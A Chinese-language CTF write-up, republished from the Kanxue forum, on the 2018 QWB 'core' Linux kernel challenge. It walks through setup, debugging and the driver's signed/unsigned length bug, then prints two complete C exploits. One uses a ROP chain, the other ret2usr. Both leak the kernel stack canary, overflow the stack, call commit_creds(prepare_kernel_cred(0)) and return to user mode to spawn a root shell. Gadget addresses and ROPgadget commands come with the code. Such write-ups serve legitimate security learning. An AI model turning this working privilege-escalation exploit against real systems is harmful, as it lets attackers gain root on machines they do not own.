linux内核提取ret2usr,Linux kernel pwn：ROP & ret2usr

原标题：Linux kernel pwn：ROP & ret2usr

本文为看雪论精华文章

看雪论坛作者ID：T1e9u

前言

这篇博文是我根据2018年强网杯的core题的利用姿势学习记录的，由于内核pwn相对于用户态的pwn来说复杂很多，而网上记载入门的博客都比较简略，所以这篇博文我会尽可能详细地记录，有错误的点希望师傅们斧正。

前置知识

内核pwn应该怎么pwn

与用户态的pwn不一样，内核pwn的漏洞一般是出现在驱动中，简单地说，驱动程序是一个内核程序，它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限，因此我们将有机会借此拿到root权限的shell。

不同于用户态的pwn，kernel pwn不再是用python远程链接打payload拿shell，而是给你一个环境包，下载后qemu本地起系统，flag文件就在这个虚拟系统里面，权限是root，因此拿flag的过程也是选手在自己的环境里完成，exploit往往也是C编写。所以，我们一般是写c程序去调用有漏洞的内核驱动，以便去拿到root权限。

proc_create函数

首先介绍一下proc文件系统，proc文件系统是一个虚拟文件系统，里面有许多的虚拟文件，创建一个proc虚拟文件，应用层通过读写该文件，即可实现与内核的交互。

而创建方法也就是proc_create函数：

staticinlinestructproc_dir_entry *proc_create( constchar*name, mode_t mode, structproc_dir_entry *parent, conststructfile_operations *proc_fops)。

name就是要创建的文件名，mode是文件的访问权限，以UGO的模式表示，parent与proc_mkdir中的parent类似，也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。

这里最重要的应该是我们的第三个参数fop，也就是file_operations。这里会涉及到内核中文件系统的一些东西，笔者目前也还没有学习，这里大致说一下我自己的理解：这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数，用于用户态与内核态的交流。

譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops)，在我们的core_fops中定义了core_write函数，所以我们便可以利用open函数打开core这个文件：int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。

一般内核pwn的前置处理

以本题为例，给了bzImage：kernel映像；

core.cpio：文件系统映像；

start.sh：一个用于启动 kernel 的 shell 的脚本，多用qemu；

vmlinux：类比成用户态pwn中的libc文件。

解压core.cpio之后core目录里也有个vmlinux，调试时用core目录的vmlinux。

关于bzImage与vmlinux的区别，详细可以参见该 文章。简单来说，bzImage是压缩过的镜像，而 vmlinux是未经压缩的镜像，也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux，可以通过extract-vmlinux, 提取命令：./extract-vmlinux ./bzImage > vmlinux。

关于start.sh，是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础 )。 对于本题，需要将该文件中第二行的-m 64M改成-m 128M，不然内存不够用启动不了。

qemu-system-x86_64

-m 64M

-kernel ./bzImage

-initrd ./core.cpio

-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"

-s

-netdev user,id=t0, -device e1000,netdev=t0,id=nic0

-nographic

关于core.cpio的解压，可以参考一下：

mkdirfile

cp./core.cpio ./file/core.cpio.gz

cdfile

gunzip./core.cpio.gz

cpio-idmv < ./core.cpio

其实也可以在ubantu双击即可解压。

对于本例，解压后的文件夹中有个有一个init文件，用于启动内核后初始化，查看一下：

#!/bin/sh

mount-t proc proc /proc

mount-t sysfs sysfs /sys

mount-t devtmpfs none /dev

/sbin/mdev-s

mkdir-p /dev/pts

mount-vt devpts -o gid=4,mode=620 none /dev/pts

chmod666 /dev/ptmx

cat/proc/kallsyms > /tmp/kallsyms

echo1 > /proc/sys/kernel/kptr_restrict

echo1 > /proc/sys/kernel/dmesg_restrict

ifconfigeth0 up

udhcpc-i eth0

ifconfigeth0 10.0.2.15 netmask 255.255.255.0

routeadd default gw 10.0.2.2

insmod/core.ko

poweroff-d 120 -f &

setsid/bin/cttyhack setuidgid 1000 /bin/sh

echo'sh end!n'

umount/proc

umount/sys

poweroff-d 0 -f

对于echo 1 > /proc/sys/kernel/kptr_restrict中的kptr_restrict，通过 kptr_restrict 来控制/proc/kallsyms 是否显示symbol的地址，也就是函数的地址。echo 1 > /proc/sys/kernel/kptr_restrict，则不能通过/proc/kallsyms查看内核符号的地址了，但是这里有cat /proc/kallsyms > /tmp/kallsyms，所以可以在/tmp/kallsyms看到，没什么影响。

对于echo 1 > /proc/sys/kernel/dmesg_restrict，这个参数是不让非 root 用户读取 dmesg 的输出信息的，dmesg包括开机信息等一些消息(对于本题似乎没有什么影响 )。

动态调试

一般内核题中，都会有qemu模拟运行，然后利用gdb远程调试。方法如下：

一、在我们的start.sh中添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写)

二、gdb中输入target remote:ip即可

三、加载符号表，像本题中的vmlinux,直接利用file ./vmlinux即可。

四、加载驱动，add-symbolfile core.ko textAddr，而textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。可以利用root用户'cat /sys/module/core/sections/.text'查看。

(注：上图我是用root用户查看的)

漏洞分析

直接拉进ida查看漏洞。

首先看到这是一个虚拟文件注册函数，注册了core文件：

它的fop有：

然后查看我们的core_read函数：

发现这里存在漏洞，可以通过设置off的值来泄露canary等信息。

再查看我们的core_ioctl函数，发现这里可以设置我们的off，从而leak出有用的信息：

这里的漏洞点不太容易注意到，这里的函数参数a1即输入是八字节的有符号整数，而在qmemcpy函数中则是双字节的无符号整数，所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值，超长复制即可溢出。

然后再查看我们的core_write函数：

发现我们的write函数可以往我们的name里面写进东西，所以可以在这里写进我们的ROP链。

一些信息的获取

gadget的获取

由于要构造ROP链，所以我们肯定要gadget。获取gadget可以通过ROPgadget和Ropper。

这里说一下ROPgadget和Ropper如何获取我们所需要的gadget：

ROPgadget--binary ./vmlinux > gadget #把可用的gadget取进我们的gadget文件

ropper --file ./vmlinux --nocolor > gadget #把可用的gadget 取进我们的gadget文件

然后再可以用grep筛选我们希望的gadget

内核基地址的获取

因为提权需要用到我们的commit_creds、prapare_kernel_cred内核函数。所以我们需要找到我们的内核基地址。

首先找到这两个函数在vmlinux的偏移：

from pwn import*

elf = ELF( './core/vmlinux')

print"commit_creds",hex(elf.symbols[ 'commit_creds'] -0xffffffff81000000)

print"prepare_kernel_cred",hex(elf.symbols[ 'prepare_kernel_cred'] -0xffffffff81000000)

然后在qemu里查看/proc/kallsyms中的 commit_creds 函数地址：

两者相减即可获得我们的内核加载基地址。

EXP以及分析

本题有两个利用姿势，这里分别分析。

方法一：ROP

获取 commit_creds，prepare_kernel_cred 的地址：/tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址。

通过 ioctl 设置 off，然后通过 core_read leak 出 canary

通过 core_write 向 name 写，构造 ropchain

通过 core_copy_func 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop

通过 rop 执行 commit_creds(prepare_kernel_cred(0))

返回用户态，通过 system("/bin/sh") 等起 shell

具体EXP引用于孙小空师兄：

//sunxiaokong

//gcc -static -masm=intel -g -o my_exp my_exp.c

# include

# include

# include

# include

# include

# include

# include

# include

# defineINS_SET_OFF 0x6677889C

# defineINS_READ 0x6677889B

# defineINS_COPY_FUNC 0x6677889A

intget_kernel_addr;

voidget_usr_regs;

voidshell;

size_tcanary = 0; // value of canary

size_tcommit_creds= 0, prepare_kernel_cred= 0; // kernel function addr

size_toff; // offset of kaslr

size_tvmlinux_base; // base addr of vmlinux

size_trop_chain[ 100] = { 0}; // rop chain

size_tusr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

intmain{

get_usr_regs;

get_kernel_addr;

intfd = open( "/proc/core", O_RDWR);

if(fd < 0){

puts( "[T.T] open file error !!!");

exit( 0);

}

ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40

char*buf_leak = ( char*) malloc( 0x40); // buffer of leak data

ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack

canary = *( size_t*)buf_leak;

printf( "[^.^] canary : 0x%lxn", canary);

inti;

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = 0xffffffff81000b2f+ off; // pop rdi ; ret

rop_chain[i++] = 0;

rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop_chain[i++] = 0xffffffff810a0f49+ off; // pop rdx ; ret

rop_chain[i++] = commit_creds;

rop_chain[i++] = 0xffffffff8106a6d2+ off; // mov rdi, rax ; jmp rdx

rop_chain[i++] = 0xffffffff81a012da+ off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2+ off; // iretq; ret;

rop_chain[i++] = ( size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"

ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000| ( 0x100)); // stack overflow

}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */

intget_kernel_addr{

char*buf = ( char*) malloc( 0x50);

FILE *kallsyms = fopen( "/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){

// fgets:read one line at one time

if( strstr(buf, "prepare_kernel_cred")){

sscanf(buf, "%lx", &prepare_kernel_cred);

printf( "[^.^] prepare_kernel_cred : 0x%lxn", prepare_kernel_cred);

}

if( strstr(buf, "commit_creds")){

sscanf(buf, "%lx", &commit_creds);

printf( "[^.^] commit_creds : 0x%lxn", commit_creds);

off = commit_creds - 0xffffffff8109c8e0;

vmlinux_base = 0xffffffff81000000+ off;

printf( "[^.^] offset : 0x%lxn", off);

printf( "[^.^] vmlinux base : 0x%lxn", vmlinux_base);

}

if(commit_creds && prepare_kernel_cred){

return0;

}

}

}

/* save some regs of user mode */

voidget_usr_regs{

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"

"pop usr_rflags;"

);

printf( "[^.^] save regs of user mode, done !!!n");

}

/* run a root shell */

voidshell{

if(!getuid)

{

system( "/bin/sh");

}

else

{

puts( "[T.T] privilege escalation failed !!!");

}

exit( 0);

}

/*

ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi

0xffffffff81000b2f : pop rdi ; ret

ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"

0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx

ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx

0xffffffff810a0f49 : pop rdx ; ret

ROPgadget --binary ./vmlinux | grep swapgs

0xffffffff81a012da : swapgs ; popfq ; ret

ropper -f ./vmlinux > ./gadget.txt

cat ./gadget.txt | grep iretq

0xffffffff81050ac2: iretq; ret;

*/

EXP具体解析

canary的获取

这里简单说一下如何设置off的值，从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值：

可以看到，在ida中，v5是设置在我们的rbp-0x50，所以rbp-0x48的位置应该就是我们的canary。但是，像大家所说的，ida中的显示有时候是会有bug的，经过实际调试，我发现实际偏移并不是0x48：

从这里看出我们的canary的实际偏移是0x40，当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数(要现在gdb调试，设置断点在我们的core_read函数)，然后单步步入到我们copy_to_user函数，即验证我们成功leak出canary了：

上面EXP中leak canary的时候，设置off为0x40。

基地址的leak

这里的基地址包括内核的基地址以及我们的core这个驱动的基地址。关于内核基地址的寻找上面已经说明，而对于驱动的加载地址，可以直接在我们/tmp/kallsyms查询即可。

用户态寄存器保存

通过 swapgs 恢复 GS 值。

会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。

其中，rip的值，可以直接用我们EXP中写好的跑shell的地址，这样回到用户态后就直接跑shell了。而cs、标志寄存器、rsp、ss都需要合法的值，因此可以在EXP中先将当前用户态的值保存下来，在ROP链中直接用这些值就可以了：

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"//标志寄存器值入栈

"pop usr_rflags;"

);

ROP链的构造

先要构造commit_creds(prepare_kernel_cred(0))提权，然后将用户态的寄存器给赋合法值。

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = 0xffffffff81000b2f+ off; // pop rdi ; ret

rop_chain[i++] = 0;

rop_chain[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop_chain[i++] = 0xffffffff810a0f49 + off; // pop rdx ; ret

rop_chain[i++] = commit_creds;

rop_chain[i++] = 0xffffffff8106a6d2 + off; // mov rdi, rax ; jmp rdx

rop_chain[i++] = 0xffffffff81a012da + off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2 + off; // iretq; ret;

rop_chain[i++] = (size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

方法二：ret2user

这里先说一下ret2user的原理：ret2usr 攻击利用了在没有开启SMEP(管理模式执行保护)的情况下，内核态CPU是可以访问执行用户空间的代码的。

用户空间的进程不能访问内核空间，但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件，以 ring 0 特权执行用户空间代码完成提权等操作。

这个方法其实跟上面所说的ROP基本没有区别，最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数，从而不需要rop调用，直接调用函数即可。

最终EXP：

//sunxiaokong

//gcc -static -masm=intel -g -o my_exp2 my_exp2.c

# include

# include

# include

# include

# include

# include

# include

# include

# defineINS_SET_OFF 0x6677889C

# defineINS_READ 0x6677889B

# defineINS_COPY_FUNC 0x6677889A

intget_kernel_addr;

voidget_usr_regs;

voidprivilege_escalation;

voidshell;

size_tcanary = 0; // value of canary

size_tcommit_creds= 0, prepare_kernel_cred= 0; // kernel function addr

size_toff; // offset of kaslr

size_tvmlinux_base; // base addr of vmlinux

size_trop_chain[ 100] = { 0}; // rop chain

size_tusr_cs, usr_ss, usr_rsp, usr_rflags; // registers of user mode

intmain{

get_usr_regs;

get_kernel_addr;

intfd = open( "/proc/core", O_RDWR);

if(fd < 0){

puts( "[T.T] open file error !!!");

exit( 0);

}

ioctl(fd, INS_SET_OFF, 0x40); // set off to 0x40

char*buf_leak = ( char*) malloc( 0x40); // buffer of leak data

ioctl(fd, INS_READ, buf_leak); // leak canary in kernel-stack

canary = *( size_t*)buf_leak;

printf( "[^.^] canary : 0x%lxn", canary);

inti;

for(i= 0; i< 10; i++){

rop_chain[i] = canary;

}

rop_chain[i++] = ( size_t)privilege_escalation;

rop_chain[i++] = 0xffffffff81a012da+ off; // swapgs ; popfq ; ret

rop_chain[i++] = 0;

rop_chain[i++] = 0xffffffff81050ac2+ off; // iretq; ret;

rop_chain[i++] = ( size_t)shell; // rip

rop_chain[i++] = usr_cs; // cs

rop_chain[i++] = usr_rflags; // rflags

rop_chain[i++] = usr_rsp; // rsp

rop_chain[i++] = usr_ss; // ss

write(fd, rop_chain, 0X800); // write payload to "name"

ioctl(fd, INS_COPY_FUNC, 0xffffffffffff0000| ( 0x100)); // stack overflow

}

/* save some regs of user mode */

voidget_usr_regs{

__asm__(

"mov usr_cs, cs;"

"mov usr_ss, ss;"

"mov usr_rsp, rsp;"

"pushfq;"

"pop usr_rflags;"

);

printf( "[^.^] save regs of user mode, done !!!n");

}

/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */

intget_kernel_addr{

char*buf = ( char*) malloc( 0x50);

FILE *kallsyms = fopen( "/tmp/kallsyms", "r");

while(fgets(buf, 0x50, kallsyms)){

// fgets:read one line at one time

if( strstr(buf, "prepare_kernel_cred")){

sscanf(buf, "%lx", &prepare_kernel_cred);

printf( "[^.^] prepare_kernel_cred : 0x%lxn", prepare_kernel_cred);

}

if( strstr(buf, "commit_creds")){

sscanf(buf, "%lx", &commit_creds);

printf( "[^.^] commit_creds : 0x%lxn", commit_creds);

off = commit_creds - 0xffffffff8109c8e0;

vmlinux_base = 0xffffffff81000000+ off;

printf( "[^.^] offset : 0x%lxn", off);

printf( "[^.^] vmlinux base : 0x%lxn", vmlinux_base);

}

if(commit_creds && prepare_kernel_cred){

return0;

}

}

}

/* commit_creds(prepare_kernel_cred(0)) */

voidprivilege_escalation{

if(commit_creds && prepare_kernel_cred){

(*(( void(*)( char*))commit_creds))(

(*(( char* (*)( int))prepare_kernel_cred))( 0)

);

}

}

/* run a root shell */

voidshell{

if(!getuid)

{

system( "/bin/sh");

}

else

{

puts( "[T.T] privilege escalation failed !!!");

}

exit( 0);

}

总结

这是我入门Linux kernel pwn的一道题，所以这里尽可能详细的记录下来。虽然这道题很简单，但是自己也花了好几天去磕，但是感觉真的是受益匪浅吧！

之前就说过，目前的学习方向是iot，但是实际上，现在还没有学多少内容。所以，现在的计划是，尽量在这两周学完内核pwn的几个姿势，应该还有UAF,Double fetch等。

然后接下来就是把重心放回到iot研究上，顺带还会学堆的骚操作(看最近几个比赛的WP，发现堆真的好多骚操作，好想去学)，然后还会学习操作系统，以及数据库和密码学等课堂知识。

害，总之就是想学的东西很多，但是自己的效率不高。所以说，目前的重点是要提高自己的效率！

参考

http://p4nda.top/2018/07/13/ciscn2018-core/

看雪ID：T1e9u

获奖名单公示

在上周五的转发有奖活动中，有两位朋友在朋友圈成功集齐30赞，获得看雪送出的精选好书。恭喜两位小伙伴！

请两位加工作人员微信kanxuecom发送您的收件信息，我们将寄出您的图书哦~

好消息！！现在看雪《安卓高级研修班》线下班 & 网课(12月班)开始同步招生 啦！以前没报上高研班的小伙伴赶快抓紧机会报名，升职加薪唾手可得！！

戳“阅读原文 ”一起来充电吧！返回搜狐，查看更多

责任编辑：